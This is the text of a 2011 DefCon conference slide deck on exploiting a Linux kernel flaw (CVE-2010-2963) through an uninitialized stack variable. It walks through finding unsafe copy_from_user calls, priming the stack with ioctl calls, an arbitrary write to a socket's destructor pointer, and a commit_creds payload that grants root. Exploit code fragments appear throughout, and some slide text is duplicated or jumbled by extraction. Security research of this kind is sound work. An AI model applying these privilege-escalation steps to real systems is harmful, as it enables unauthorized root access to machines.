Kernel Exploitation

via Uninitialized Stack

http://people.canonical.com/~kees/defcon19/

Kees Cook
[email protected]
www.canonical.com
DefCon 19, August 2011
 20 Minutes!
●
introduction
●
quick Linux kernel exploitation basics
●
audit callers of copy_from_user() for mistakes
●
found a flawed function, but don't have direct control?
●
controlling an uninitialized stack variable
●
become root
●
questions

2 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 introduction

3 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 who I am, what I do
Kees Cook
●
Pronounced “Case”
●
@kees_cook on Twitter

DefCon Capture the Flag

●
Started participating in 2003
●
With Team 1@stPlace, won in 2006 and 2007
●
Still play in the qualification rounds just for the fun of it
Ubuntu Security Team
●
Started working for Canonical in 2006
●
Responsible for keeping Ubuntu as safe as possible
●
Enjoyed getting compiler hardening into shape
●
Now focusing on kernel hardening

4 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 quick Linux kernel
exploitation basics

5 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 key to kernel exploitation is the
arbitrary write
Control kernel memory
●
Kernel determines permissions

Credentials
●
Change your process's UID to 0

Fun bit is finding the targets

●
Hunt through kernel memory
●
Global functions, variables

6 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 there is an extensive list of
potential targets and triggers
Function tables!
●
struct security_operations global pointer: security_ops
include/linux/security.h
easy offset to “ptrace_access_check”, but requires a little clean-up

●
System-wide IDT
Attacking the Core: http://www.phrack.org/issues.html?issue=64&id=6
requires handling interrupt mode

●
single, isolated struct sock
sk_destruct called on close()
easy to find in memory via /proc/net/tcp

7 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 but you need to find a flaw first
Everything is a theory until you find a flaw
●
Using a flaw tends to be easy
●
Finding a flaw tends to be harder

Interface boundaries
●
Switches from userspace to ring0
●
Changes in privilege levels

8 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 audit callers of
copy_from_user() for
mistakes

9 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 there are a lot of
copy_from_user() callers
3893 to be exact
●
git grep copy_from_user | wc -l

Need to find unsafe uses

●
Length isn't checked correctly
●
Source isn't checked correctly
●
Destination isn't checked correctly

10 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 advanced static analysis?
nah, just use grep
Regular expressions
●
Can get you most of the way, very quickly

Unchecked copy_from_user
●
__copy_from_user() without access_ok()
●
Very few callers
●
Intel DRM (CVE-2010-2962, me)
●
RDS (CVE-2010-3904, Dan Rosenberg)

Okay, slightly advanced static analysis: Coccinelle

●
http://coccinelle.lip6.fr/
●
“Semantic Patch”, but I use it as “Semantic Grep”

11 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 semantic grep example
@cfu@
cfu First
position p;
@@
@cfu_simple@
cfu_simple
copy_from_user@p(...)
@p position cfu.p;
cfu.p
expression f;
identifier e;
Whitelist Patterns @@
…
... (
copy_from_user@p(&e,
@p f, sizeof(e))
|
copy_from_user@p(e,
@p f, sizeof(*e))
)
@depends on (!cfu_simple and …)@
position cfu.p;
cfu.p …
@@ …

* copy_from_user@p(...)
@p Final

12 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 focus on areas that do not get a
lot of usage/users
Rare network protocols
●
SCTP
●
RDS

Interfaces with few consumers

●
Video DRM: mostly just Xorg
●
Network diagnostics: handful of debugging tools
●
New syscalls
●
Compat

13 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 compat (64bit to 32bit, API
versions) has had lots of bugs
Syscall Compat
●
Not clearing high portion of register used for jump table lookup
●
CVE-2007-4573 and CVE-2010-3301

API Compat
●
Extremely few users
●
CVE-2010-2963, code had 0 users, in fact

Generally
●
Just look at Mitre for some history
●
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=kernel+compat

14 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 found a flawed function,
but don't have direct
control?

15 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 CVE-2010-2963 is a great example
in the v4l compat functions
static int get_microcode32(struct video_code *kp, struct video_code32 __user *up) {
if (!access_ok(VERIFY_READ, up, sizeof(struct video_code32)) ||
copy_from_user(kp->loadwhat, up->loadwhat, sizeof(up->loadwhat)) ||
get_user(kp->datasize, &up->datasize) ||
copy_from_user(kp->data, up->data, up->datasize))
up->datasize)
return -EFAULT;
return 0;
}
static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
union {
struct video_tuner vt;
struct video_code vc;
...
} karg;
karg
void __user *up = compat_ptr(arg);
...
switch (cmd) {
...
case VIDIOCSMICROCODE:
err = get_microcode32(&karg.vc, up);
up)
...
16 Kernel Exploitation Via Uninitialized Stack by Kees Cook
 unchecked copy_from_user() from
uninitialized address on stack
karg contents uninitialized
●
But “uninitialized” really means “filled with memory from before”

karg lives on the stack

●
What went there before?

the build didn't bother to emit warnings

●
Compiler assumes we meant to do that

17 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 controlling an
uninitialized stack
variable

18 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 find an overlapping function or
call path
How about the same ioctl?
●
same call path
●
at least the same stack size

static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
union {
struct video_tuner vt;
struct video_code vc;
...
} karg;
void __user *up = compat_ptr(arg);
...
switch (cmd) {
...
case VIDIOCSTUNER:
case VIDIOCGTUNER:
err = get_video_tuner32(&karg.vt,
get_video_tuner32 up);
...
19 Kernel Exploitation Via Uninitialized Stack by Kees Cook
 examine offsets and alignments
of the on-stack variables
struct video_code32 {
char loadwhat[16];
compat_int_t datasize;
/* 4 bytes of compiler-added padding here */
unsigned char * data;
data /* 24 bytes to pointer */
};

...

struct video_tuner32 {
compat_int_t tuner;
char name[32];
name /* 4 bytes from start of struct */
compat_ulong_t rangelow, rangehigh;
u32 flags; /* It is really u32 in videodev.h */
u16 mode, signal;
};

20 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 stack memory view
top
Saved junk before ioctl Saved junk before ioctl

karg, after karg, entering

VIDIOCSTUNER: VIDIOCSMICROCODE:

tuner loadwhat[16]
name[32]
datasize
padding
<------------------------------------------> data
other locals...
… other locals...
…
.. ..
. .
bottom

21 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 arrange stack with the values you
need via careful invocation
datasize and data for source are used directly
●
No special tricks needed:

vc->datasize = length;
vc->data = source;

data pointer for destination needs to be overlapped and left

on stack

uint64_t *ptr = (uint64_t*)(&(tuner->name[20]));

*ptr = destination;

22 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 prime the page tables to keep
extra things off the stack
Kernel stack is used by everything in the process
●
Doing memory access to page stuff into memory?
●
Added a printf() to aid debugging?

Any work between or in syscalls may trigger further kernel

stack work
●
Avoid syscall wrappers (libc)
●
Avoid calling the interface for the first time

In this case, we must call 32bit syscall from 64bit userspace

●
Use int 0x80
●
Write some assembly

23 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 make the call...

unsigned int syscall32(unsigned int syscall, unsigned int arg1,

unsigned int arg2, unsigned int arg3)
{
unsigned int rc;
asm volatile("movl %1, %%ebx;\n”
“movl %2, %%ecx;\n"
"movl %3, %%edx;\n”
“movl %4, %%eax;\n"
"int $0x80;\n”
$0x80
“movl %%eax, %0;\n"
: "=g"(rc) /* output */
: "g"(arg1), "g"(arg2), "g"(arg3), "g"(syscall) /* input */
: "%eax", "%ebx", "%ecx", "%edx"/* clobbered registers */ );
return rc;
}

24 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 … and write arbitrarily

// beat memory into the stack...

code = 0x40347605; // VIDIOCSTUNER
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code,
(unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code,
(unsigned int)(uintptr_t)tuner);
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code,
(unsigned int)(uintptr_t)tuner);

/* VIDIOCSMICROCODE32,
the badly constructed VIDIOCSMICROCODE */
code = 0x4020761b;
syscall32(IOCTL_SYSCALL, (unsigned int)dev, code,
(unsigned int)(uintptr_t)vc);

25 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 become root

26 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 aim arbitrary write at target
Use struct sock exploit method from Dan Rosenberg's code
●
open a TCP socket
●
Look up where the socket is in kernel memory from /proc/net/tcp
●
target the sk_destruct function pointer
(find it with “offsetof(struct sock, sk_destruct)”)
●
kptr_restrict now blocks /proc/net/tcp
(but INET_DIAG netlink is still leaks these addresses)

$ cat /proc/net/tcp | grep 7A69

9: 00000000:7A69 00000000:0000 0A 00000000:00000000 00:00000000
00000000 1000 0 2087721 1 ffff88011c972d80 300 0 0 2 -1

27 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 create a payload

Use prepare/set cred payload method from Brad Spengler's

Enlightenment code
●
Look up kernel addresses for needed functions
●
Call them to reset credentials to uid 0

commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)
get_kernel_sym("prepare_kernel_cred");
...

int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
28 Kernel Exploitation Via Uninitialized Stack by Kees Cook
 trigger the target
Just close the socket
●
Boom

Enjoy ring0
●
Kernel cleans up for you

29 Kernel Exploitation Via Uninitialized Stack by Kees Cook

 Demo
Follow along!
●
http://people.canonical.com/~kees/defcon19/vyakarana.c

30 Kernel Exploitation Via Uninitialized Stack by Kees Cook

Questions please
Thank you
Kees Cook
[email protected]
www.canonical.com
DefCon 19, August 2011